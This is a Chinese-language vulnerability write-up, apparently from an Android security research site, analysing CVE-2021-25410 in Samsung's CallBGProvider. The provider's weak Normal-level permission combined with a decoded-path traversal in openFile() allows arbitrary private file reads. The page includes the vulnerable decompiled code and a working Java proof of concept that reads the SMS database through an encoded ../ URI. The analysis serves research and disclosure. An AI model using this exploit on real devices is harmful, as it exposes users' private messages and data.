Happy Android Security
  • 前言
  • CTF
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme01
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme02
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme03
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme04
    • 2015 0CTF Vezel 100
    • 2015 0CTF Simple 150
    • 2015 XCTF&RCTF Flag System 100
    • 2015 XCTF&RCTF Where 300
    • 2015 海峡两岸CTF 一个APK逆向试试吧
    • 2016 LCTF EASY 100
    • 2016 AliCTF Timer 50
    • 2016 AliCTF Loop And Loop 100
    • 2016 ZCTF Android1 200
    • 2016 LCTF EASY EASY 200
    • 2017 ISCC 全国大学生信息安全与对抗技术竞赛 简单到不行
    • 2017 SSCTF 加密勒索软件 100
    • 2017 SSCTF Login 200
    • 2017 XCTF&NJCTF Easy Crack 100
    • 2017 XCTF&NJCTF Safe Box 100
    • 2017 XCTF&NJCTF Little Rotator Game 200
    • 2017 陕西省网络安全大赛 拯救鲁班七号 100
    • 2017 陕西省网络安全大赛 The Marauders Map 150
    • 2017 陕西省网络安全大赛 人民的名义 抓捕赵德汉1 200
    • 2017 陕西省网络安全大赛 人民的名义 抓捕赵德汉2 200
    • 2017 陕西省网络安全大赛 取证密码 200
  • 应用侧安全
    • 任意私有组件启动漏洞的利用
    • [ByteDance] [TikTok] NotificationBroadcastReceiver导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
    • [ByteDance] [TikTok] DetailActivity导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
    • [ByteDance] [TikTok] WallPaperDataProvider导出存在任意私有文件读取漏洞
    • [Adobe] [Acrobat Reader] AdobeReader处理DeepLink时未正确进行合法性校验导致下载PDF文件过程出现路径穿越可造成远程代码执行
    • [CVE-2019-16253] [Samsung] [SMT] SamsungTTSService导出存在任意私有组件调用提权漏洞
    • [CVE-2021-25390] [Samsung] [Photo Table] PermissionsRequestActivity存在任意私有组件启动漏洞可获取ContentProvider数据
    • [CVE-2021-25391] [Samsung] [Secure Folder] KnoxSettingCheckLockTypeActivity泄露Intent可获取ContentProvider数据
    • [CVE-2021-25397] [Samsung] [TelephonyUI] PhotoringReceiver导出存在任意文件写漏洞结合动态库加载行为可实现本地任意代码执行
    • [CVE-2021-25410] [Samsung] [CallBGProvider] CallBGProvider的调用权限定义为Normal可实现任意私有文件读取
    • [CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据
    • [CVE-2021-25414] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有文件读写漏洞
    • [CVE-2021-25440] [Samsung] [FactoryCameraFB] CameraTestActivity导出存在文件读写权限泄露漏洞
    • [CVE-2022-22292] [Samsung] [Telecom] 动态注册BroadcastReceiver默认导出存在任意私有组件启动漏洞
  • 系统侧安全
    • REDMI 5 Plus Second Space Password Bypass
    • 【蓝牙】CVE-2017-13258 CVE-2017-13260 CVE-2017-13261 CVE-2017-13262信息泄露
    • 【蓝牙】CVE-2018-9357 BNEP_Write越界写导致RCE
    • 【蓝牙】CVE-2018-9358 信息泄露
    • 【蓝牙】CVE-2018-9359 process_l2cap_cmd_L2CAP_CMD_INFO_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9360 process_l2cap_cmd_L2CAP_CMD_CONN_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9361 process_l2cap_cmd_L2CAP_CMD_DISC_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9365 smp_sm_event数组越界访问导致RCE
    • 【蓝牙】CVE-2018-9381 gatts_process_read_by_type_req未初始化栈变量导致信息泄露
    • 【NFC】CVE-2018-9584 nfc_ncif_set_config_status未检测长度越界读写
    • 【NFC】CVE-2018-9585_nfc_ncif_proc_get_routing未检测长度越界读写
    • 【蓝牙】CVE-2019-2209 未检测PIN码长度导致越界读造成信息泄露
    • 【NFC】CVE-2019-9358 ce_t3t_data_cback越界读写
  • 内核驱动侧安全
Powered by GitBook
On this page
  • 0x00 漏洞概述
  • 0x01 触发条件
  • 0x02 PoC
  • 0x03 前置知识
  • 0x04 Root Cause Analysis
  • 0x05 调试与利用
  • 0x06 漏洞研究
  • 0x07 References
  • 附录:调试过程记录
  1. 应用侧安全

[CVE-2021-25410] [Samsung] [CallBGProvider] CallBGProvider的调用权限定义为Normal可实现任意私有文件读取

Date
Version
Description
Author

2022.11.27

1.0

完整的漏洞分析与利用

wnagzihxa1n

0x00 漏洞概述

三星手机系统的CallBGProvider定义的调用者权限为Normal可以被三方应用调用,其实现的openFile()接口存在路径穿越漏洞导致任意文件读取

0x01 触发条件

上线日期
应用名
包名
版本号
MD5
下载链接

CallBGProvider

com.samsung.android.callbgprovider

12.0.00.27

eee48a238c983450b3832683e35481eb

0x02 PoC

0x03 前置知识

0x04 Root Cause Analysis

组件com.samsung.android.callbgprovider.CallBGProvider导出 ,有权限com.samsung.android.callbgprovider.PERMISSION限制调用者

<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>
<provider 
        android:authorities="com.samsung.android.callbgprovider.media" 
        android:exported="true" 
        android:name="com.samsung.android.callbgprovider.CallBGProvider" 
        android:readPermission="com.samsung.android.callbgprovider.PERMISSION">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
</provider>

[1]获取安装目录下的files文件夹,[2]获取传入URI的PATH字符串,[3]取出传入URI最后一段字符串进行拼接,[4]构造[3]获取的字符串对应的File对象,[5]直接打开文件并返回

// com.samsung.android.callbgprovider.CallBGProvider
@Override  // android.content.ContentProvider
public ParcelFileDescriptor openFile(@NonNull Uri __uri__, @NonNull String s) {
    File file1;
    Log.d("CallBGProvider", "openFile: uri:" + __uri__);
    try {
        File dir_files = this.getContext().getFilesDir();  // [1]
        String __uri_path__ = __uri__.getPath();  // [2]
        if(__uri_path__.contains("images/")) {
            file1 = new File(dir_files, "images");
        }
        else if(__uri_path__.contains("videos/")) {
            file1 = new File(dir_files, "videos");
        }
        else {
            file1 = __uri_path__.contains("thumbnail/") ? new File(dir_files, "thumbnail") : null;
        }

        String s2 = file1.getPath() + "/" + __uri__.getLastPathSegment();  // [3]
        File file2 = new File(s2);  // [4]
        Log.d("CallBGProvider", "openFile: uri: path :" + s2);
        return ParcelFileDescriptor.open(file2, 0x10000000);  // [5]
    }
    catch(FileNotFoundException fileNotFoundException) {
        fileNotFoundException.printStackTrace();
        return null;
    }
}

漏洞点在于[3]调用方法getLastPathSegment()的时候,它会进行一次解码操作,所以如果我们传入content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..,方法getLastPathSegment()会先取出..%2F..%2F..并且解码最终得到../../..,[4]构造File之前并没有进行../过滤,所以此处存在任意文件读取漏洞

该ContentProvider的调用权限并没有定义,默认为Normal,所以只需要调用者声明该权限即可直接调用组件CallBGProvider

<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>

0x05 调试与利用

Oversecured实验室的PoC

try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "get_gradation_contents", "", new Bundle());

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephony", 0).dataDir, "databases/mmssms.db");
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2F..%2F..%2F.." + Uri.encode(dbPath.getAbsolutePath()));
    Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
} catch (Throwable th) {
    throw new RuntimeException(th);
}

Manifest声明权限

<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>

0x06 漏洞研究

0x07 References

《Two weeks of securing Samsung devices: Part 2》

  • https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2

附录:调试过程记录

Previous[CVE-2021-25397] [Samsung] [TelephonyUI] PhotoringReceiver导出存在任意文件写漏洞结合动态库加载行为可实现本地任意代码执行Next[CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据

Last updated 2 years ago